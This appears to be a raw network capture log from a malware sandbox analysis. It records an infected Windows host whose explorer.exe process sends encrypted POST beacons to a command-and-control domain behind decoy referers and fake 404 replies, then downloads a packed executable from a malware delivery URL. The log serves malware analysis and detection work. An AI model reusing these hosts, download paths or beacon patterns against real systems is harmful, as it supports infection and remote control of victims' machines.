Aug 31, 2022 08:34:12.753083944 CEST	11432	IN	Data Raw: df b0 2a f8 c3 0e 9f bc 5d fb ba 8d 6d 19 ff 43 07 a2 76 bf f9 32 0f 43 a8 d0 c8 38 a3 b8 c1 6b 53 cd 2a 1d 2d 60 22 69 4b 9e 36 c6 b9 40 95 da 04 4c b6 8f 37 24 c3 13 d5 27 cc 3b b6 73 32 99 7d 9a da 48 e9 61 fa 68 23 e0 0e 12 35 c6 56 0d f4 a5 Data Ascii: ]mCv2C8kS-`"iK6@L7$';s2}Hah#5VhEH hatw-s="R#.H5zKBNc-;g4L^^^H#n8?*C;]7FMS1`
Aug 31, 2022 08:34:12.753097057 CEST	11434	IN	Data Raw: 16 8a 8d 3d c2 aa 07 82 35 32 ce 96 82 8e 72 e6 dd 4f 6c c5 50 79 3c cc cd dd 3f 0e f8 ea 0f c6 21 61 29 99 c3 a2 2b b4 6a 24 66 f1 34 99 cd d9 1f 16 41 4b d3 ec 3a 24 93 3c 04 49 a3 1a 13 df 35 e8 3d 86 3f 56 4f 62 e7 85 4a 93 9c 2d 18 90 da cd Data Ascii: =52rOlPy<?!a)+j$f4AK:$<I5=?VObJ-/[!&Q` ]O11j2;<c)OgPo.A3-jWvs<hmn\|U.pK;%5to(a^ !+c[uz_Zv>0aEMym/GvJJ
Aug 31, 2022 08:34:12.915805101 CEST	11435	IN	Data Raw: 53 4e bd 3b f5 9f cb e6 d2 dc e5 c2 a9 9b 7f a2 93 fb 7e e5 f9 b1 99 b9 5d 1b 69 84 79 74 a1 65 d8 3b b3 ba ac 0b de d3 a0 d7 4d 53 36 57 57 f1 35 8d ae 20 a8 ca 91 d8 2f 1c 28 a9 14 be 06 65 0a 48 a2 b0 e3 74 2d ed 88 f3 d2 61 19 7f 57 4d 8a dc Data Ascii: SN;~]iyte;MS6WW5 /(eHt-aWMWh)??dS5M$3Jd<Cy!dGk#p6>B81pKR;Y+g7@`Pko<jvYovU K{Nkej8{L\9-T4"P2)
Aug 31, 2022 08:34:12.915842056 CEST	11437	IN	Data Raw: 53 8a 64 87 6b 90 6a f8 ec 6e 86 10 e1 3e f0 30 e6 77 aa e7 3e 70 93 d3 93 e4 ef fa c4 30 00 ed 0c 46 48 67 94 e1 59 bf 91 5d f3 02 53 61 2e 02 9d bd ad a9 fd 7e fb 67 56 36 08 91 9f 14 24 f7 97 70 6d dc c2 ce 30 6c 6d 49 9d 7c 30 90 bc af 99 36 Data Ascii: Sdkjn>0w>p0FHgY]Sa.~gV6$pm0lmI\|06\|HZkZ"NX`&w4iJibc;7VI*i':IU$Y>$B\|5VHhh?/ICY4m'C`
Aug 31, 2022 08:34:12.915859938 CEST	11438	IN	Data Raw: ec 55 e0 d8 d2 15 41 da 55 02 b2 49 b8 28 eb c0 6f db b4 ea 6f 57 39 51 e0 60 e7 f3 9f 09 e5 ce 3f f1 ac f1 c5 2f 64 e0 c2 00 ff 8b b3 2f 3b 7d 7a e6 d9 4a 85 25 95 14 ae d6 7c ab 87 40 e0 52 67 e7 b1 75 2b 9d f4 d9 41 d3 bd dd a4 65 2a e9 d3 af Data Ascii: UAUI(ooW9Q`?/d/;}zJ%\|@Rgu+AedtQ{n%<QHlkDu82i{X\|eI cB3:sMx)h}:888cadmYWEI4[>pNH<G@8mA1h+vo
Aug 31, 2022 08:34:12.915875912 CEST	11439	IN	Data Raw: f0 28 70 32 e0 23 07 08 d1 bf ae 6d 61 de 3b ba 4b 0a 6a 20 bc 50 e2 db 29 3a d4 40 3c f9 e2 1d 71 7b f8 4c 93 f2 03 a7 a1 d3 1d 8d c5 b6 54 0b 19 03 3c c8 79 31 6a b0 81 ad c6 99 22 b6 6f 4f 82 83 96 ff 9e d3 e6 42 0b 26 f8 c1 ce ca 98 5f ea 72 Data Ascii: (p2#ma;Kj P):@<q{LT<y1j"oOB&_r=^6cc5~N;N[7 +Pj#Y$=Qkm\)4%3<&F0KAHGOQ!8&c/8*i^.=4cUy{~6nK
Aug 31, 2022 08:34:12.915893078 CEST	11441	IN	Data Raw: 31 f5 34 81 26 04 c2 ac c1 d7 03 13 e4 76 e0 ad 36 fb fa cd ce 07 49 0b cf 4b e5 df f4 a7 b8 ba 3e 61 86 cd b9 39 14 3f d1 38 1e d1 ad 21 06 8b 79 c3 60 d4 b1 7f 7a 39 b5 b1 63 8e 55 e7 d1 be 6c 24 45 19 a2 22 85 25 56 7e e9 7f 43 f4 c0 4e 74 be Data Ascii: 14&v6IK>a9?8!y`z9cUl$E"%V~CNt`KcZJk"Vy58I!m=(&*Zhuy$=P!I_FWW<&7m;B\|&d8K`}f?@DEYV-{js/ODGS
Aug 31, 2022 08:34:12.915909052 CEST	11442	IN	Data Raw: 22 a8 de 40 db 2b a0 22 6d 22 2b 45 36 1c 12 ed a7 56 0f 52 e5 45 56 a6 13 97 53 a7 d7 51 d7 42 8a 14 ba 98 f7 75 0f aa ef 5e 0b 97 bf 3a a7 b8 af 43 bc d1 fa fa eb a8 91 8a fc b6 03 6b e8 bd 05 05 50 4f 68 9f f7 18 af 75 57 19 82 31 74 86 33 a8 Data Ascii: "@+"m"+E6VREVSQBu^:CkPOhuW1t34?XX=*At)_ZYGN%YFccDkln1rhV?u {<W4XD<<7?MDsxS9)f9aZEVBc(!Zf}G&ev5
Aug 31, 2022 08:34:12.915926933 CEST	11443	IN	Data Raw: f9 45 76 6c 15 85 59 36 83 60 97 c9 2c 3b b7 a4 86 09 35 0e 81 f7 52 ce 55 8c ad f4 a3 d7 d8 e8 36 02 6a c9 96 38 7a bc db 36 bf e9 b9 ed 8d 46 33 40 c7 1e 0e c8 88 da b1 00 cd 40 18 5c 84 39 7c 38 24 5f 85 10 2c cb b0 1d 0d 97 fc 94 c4 9d fd 98 Data Ascii: EvlY6`,;5RU6j8z6F3@@\9\|8$_,a\}f\.{H4$Qq2#*0\'k$Z+7'7_NbTs+Fz/IZ>LbOl]g.\vL,\|tvlyTL

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49752	151.251.24.5	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:17.440815926 CEST	13239	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wpkjhnji.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 232 Host: linislominyt11.at
Aug 31, 2022 08:34:17.440839052 CEST	13239	OUT	Data Raw: 4a 9d 84 c9 4c 6e 55 23 5d 71 20 24 08 a1 5f b9 21 1b e5 65 f9 6e de aa c7 1b a6 f1 72 87 de 93 8c df 8f b5 04 39 e6 cb ab 5a 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 b8 8a 14 62 cc d6 4f 96 9e fe 37 a8 Data Ascii: JLnU#]q $_!enr9Zjp_S61oJf=B!bO7k}i/@BH]/)_65#tdY(SY o"iwR"45+,lqv/2TDZSiTQ:
Aug 31, 2022 08:34:17.774689913 CEST	13240	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 06:34:17 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49754	195.158.3.162	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:18.120935917 CEST	13246	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yanua.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 245 Host: linislominyt11.at
Aug 31, 2022 08:34:18.122236013 CEST	13246	OUT	Data Raw: 4a 9d 84 c9 4c 6e 55 23 5d 71 20 24 08 a1 5f b9 21 1b e5 65 f9 6e de aa c7 1b a6 f1 72 87 de 93 8c df 8f b5 04 39 e6 cb ab 5a 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 b9 8a 14 62 cd d6 4f 96 fd b3 08 a9 Data Ascii: JLnU#]q $_!enr9Zjp_S61oJf=B!bOuo!G6^Vaoh.Q??Eykzo/?v3C(He[U~G\oHfC)2RD+eV"oFYU)9\|WT7
Aug 31, 2022 08:34:18.534883022 CEST	13247	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 06:34:18 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 94 1c c3 5c dd fb 05 a7 2c f2 25 57 17 34 ff 6b 4b 71 9c 54 26 0a 7d 9e a4 8a b8 d0 3c 8a 76 22 48 Data Ascii: Uys/~(u:R\,%W4kKqT&}<v"H

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49757	195.158.3.162	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:22.352533102 CEST	13561	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xsfkvoxx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 298 Host: linislominyt11.at
Aug 31, 2022 08:34:22.352550030 CEST	13561	OUT	Data Raw: 4a 9d 84 c9 4c 6e 55 23 5d 71 20 24 08 a1 5f b9 21 1b e5 65 f9 6e de aa c7 1b a6 f1 72 87 de 93 8c df 8f b5 04 39 e6 cb ab 5a 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 b9 8a 14 62 cc d6 4f 96 a5 d2 1d d5 Data Ascii: JLnU#]q $_!enr9Zjp_S61oJf=B!bOi#8)zz\^& [6Br+B08E;6\C_GK4RXm'4,Bg?K?m#NV$^'<fU^q.
Aug 31, 2022 08:34:22.754422903 CEST	13562	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 06:34:22 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49758	187.195.146.2	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:23.885046005 CEST	13563	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lsklhonuxd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 114 Host: linislominyt11.at
Aug 31, 2022 08:34:23.885083914 CEST	13563	OUT	Data Raw: 4a 9d 84 c9 4c 6e 55 23 5d 71 20 24 08 a1 5f b9 21 1b e5 65 f9 6e de aa c7 1b a6 f1 72 87 de 93 8c df 8f b5 04 39 e6 cb ab 5a 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 be 8a 14 62 cd d6 4f 96 f9 b1 44 cf Data Ascii: JLnU#]q $_!enr9Zjp_S61oJf=B!bODf)d0`Pz";,A{
Aug 31, 2022 08:34:24.537010908 CEST	13564	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 06:34:24 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 9c 5f c9 4d c8 f1 01 ae 2c f8 64 46 56 3a bf 61 05 69 89 40 30 11 36 82 fc cb ae d4 2a c0 69 27 16 35 ff b7 Data Ascii: Uys/~(u:R_M,dFV:ai@06*i'5

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49761	187.195.146.2	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:27.629734039 CEST	13771	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lqudckqay.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 121 Host: linislominyt11.at
Aug 31, 2022 08:34:27.629754066 CEST	13771	OUT	Data Raw: 4a 9d 84 c9 4c 6e 55 23 5d 71 20 24 08 a1 5f b9 21 1b e5 65 f9 6e de aa c7 1b a6 f1 72 87 de 93 8c df 8f b5 04 39 e6 cb ab 5a 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 be 8a 14 62 cc d6 4f 96 e8 f3 38 a8 Data Ascii: JLnU#]q $_!enr9Zjp_S61oJf=B!bO8k;-Yh0FSvB1`n4
Aug 31, 2022 08:34:28.119139910 CEST	13772	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 06:34:27 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49762	187.195.146.2	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:28.393060923 CEST	13773	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dwkjstnxy.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 304 Host: linislominyt11.at
Aug 31, 2022 08:34:28.393074036 CEST	13774	OUT	Data Raw: 4a 9d 84 c9 4c 6e 55 23 5d 71 20 24 08 a1 5f b9 21 1b e5 65 f9 6e de aa c7 1b a6 f1 72 87 de 93 8c df 8f b5 04 39 e6 cb ab 5a 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bf 8a 14 62 cd d6 4f 96 a0 e3 05 d6 Data Ascii: JLnU#]q $_!enr9Zjp_S61oJf=B!bO93&:xZDg`^=!V5ztz:.Cl!(T0Ys_>N<Y8SuYY={W E[>
Aug 31, 2022 08:34:28.882700920 CEST	13774	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 06:34:28 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 0e 81 08 dd 51 c1 fe 05 a6 3d bf 2c 44 4a 32 f1 63 03 65 9f 5c 2f 0a 6a d4 e3 87 b3 d8 6b cc 76 72 17 37 b6 fd ab b7 4d 7c 93 23 28 bf cc 86 71 ed Data Ascii: Uys/~(`:Q=,DJ2ce\/jkvr7M\|#(q

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49763	85.209.157.230	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:29.115005970 CEST	13775	OUT	GET /hp8/g1/rtst1051.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: stylesheet.faseaegasdfase.com
Aug 31, 2022 08:34:29.304414988 CEST	13776	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Wed, 31 Aug 2022 06:34:29 GMT Content-Type: application/octet-stream Content-Length: 3923456 Last-Modified: Wed, 31 Aug 2022 02:16:22 GMT Connection: keep-alive ETag: "630ec476-3bde00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 60 c4 0e 63 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 1d 00 b6 0d 00 00 98 04 00 00 00 00 00 ae 2b 4d 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 69 00 00 04 00 00 00 00 00 00 02 00 20 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 9e 4f 00 a0 00 00 00 00 50 69 00 d5 01 00 00 c0 be 68 00 20 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 3d 53 00 30 00 00 00 80 bd 68 00 38 01 00 00 00 00 00 00 00 00 00 00 00 70 37 00 d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 b4 0d 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f4 55 03 00 00 d0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 94 96 00 00 00 30 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 d0 83 00 00 00 d0 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 f4 00 00 00 00 60 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 76 6d 70 30 00 00 00 23 f6 1a 00 00 70 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 76 6d 70 31 00 00 00 e0 d6 3b 00 00 70 2d 00 00 d8 3b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 73 72 63 00 00 00 d5 01 00 00 00 50 69 00 00 02 00 00 00 dc 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 19 b1 ef 48 75 5e 66 d5 59 a9 7c 05 03 53 79 38 54 de 45 4c 22 69 00 29 13 ab 04 95 16 d3 5d f1 2a 7c 70 86 74 09 65 8a 24 2e 5e 0a Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd`c#+M@`i OPih =S0h8p7.text `.rdataU@@.data0@.pdata@@_RDATA`@@.vmp0#p``.vmp1;p-;`h.rsrcPi;@@GHu^fY\|Sy8TEL"i)]*\|pte$.^
Aug 31, 2022 08:34:29.304456949 CEST	13778	IN	Data Raw: 55 6e 24 55 69 d1 76 a3 3e 2f 72 0b 17 ad 4b 01 39 6e 40 f6 4f 84 6b d3 3e a0 7c 61 5b 17 5d dd 01 33 7e 4d 2a eb 22 4b 35 74 48 65 14 4d 2c 45 52 b1 23 34 61 94 57 c3 0a 9a 51 96 71 a6 69 a3 5e ed 60 6c 1d be 1e f9 06 53 64 94 19 6c 38 a6 2b 85 Data Ascii: Un$Uiv>/rK9n@Ok>\|a[]3~M"K5tHeM,ER#4aWQqi^`lSdl8+z,,$\[\%HAGj$#,5')19P\V!{GOLY`z@y?}&)?Du^d0oq\|(&<SyG94@4"vI?T;1WD.=0KRw)J(GqpqIGetModuleFileNameWhF6
Aug 31, 2022 08:34:29.304564953 CEST	13779	IN	Data Raw: f7 9d 17 9f 5e 01 da 12 38 9e a6 a7 ff 5d 61 3b 38 b2 45 5e 44 13 37 3b 9e ac 49 87 7e 61 e5 4a 09 b6 5e f5 db eb b5 9e 87 ba c0 30 a1 66 9e e4 52 61 92 4c 28 00 9e e0 12 1d 20 a6 4f 65 26 d7 c3 af 6c 7a 39 5f b3 2a 4e 5e df 78 7b e0 b1 25 6d 43 Data Ascii: ^8]a;8E^D7;I~aJ^0fRaL( Oe&lz9_N^x{%mC3B\|Mm3WY,5e8^?PdGx}!w1Enx+1nV)$SEM59F$3KKxq/
Aug 31, 2022 08:34:29.304605007 CEST	13780	IN	Data Raw: b3 7a bf da 4b 01 70 f8 35 b4 99 28 b5 02 00 00 00 cc dc 55 e3 ff 8b b4 b8 61 06 f5 8d 7c 48 46 b5 07 8a 61 11 a0 fe fe f3 a7 d5 16 17 ae ce fb aa 0b 75 0e e8 d4 0e 4f 92 8d dd 49 12 15 70 48 e4 40 f4 79 b0 6e bd 01 00 00 1c ee 61 3f c0 f5 4a 72 Data Ascii: zKp5(Ua\|HFauOIpH@yna?JrJh\|d$}U5k2IkgZ9OKzkt':K'KTK]t:-ExU]0SNFCrD9@a*~o_zs[tYTK6qfMfkx^
Aug 31, 2022 08:34:29.305032969 CEST	13782	IN	Data Raw: f4 d3 df cc 85 1f 4d ef a3 91 81 73 26 20 0d 0b 74 29 d7 31 a2 92 be b5 ce c4 79 6d 53 75 63 63 1a 30 76 7f cc fb 45 5e b3 89 c0 03 87 1e b5 4b 1b aa 67 b1 83 42 05 99 58 aa c8 4b d1 f9 2c e2 75 ec cc a8 92 bf 63 3c c4 ef 72 f6 e0 42 7f be ee 58 Data Ascii: Ms& t)1ymSucc0vE^KgBXK,uc<rBXJG0L?JU#4dvJztPF_bJJJ)>Z1JR~ZL+]P8<EG>hQMmIt
Aug 31, 2022 08:34:29.305072069 CEST	13783	IN	Data Raw: 4d f3 17 f2 e5 b6 e2 8e b9 8e 75 94 96 7e ad 23 45 dd f0 6b d3 2b c5 52 f5 12 a8 46 94 13 d4 26 d6 cc 67 ef 48 95 a6 29 e7 7d a4 ba 31 77 78 50 7b b0 7e 78 16 f2 b5 fa 06 e8 22 3d 0c ea 5f 82 b2 f7 80 3f 83 ec 8c 16 71 d6 32 88 73 b4 78 82 ea 41 Data Ascii: Mu~#Ek+RF&gH)}1wxP{~x"=_?q2sxAP>j\|96TZ5*H]c{7dU;Hi6DviqqtzBnl[Cd8IGoU1]{#QQu4l4;K44
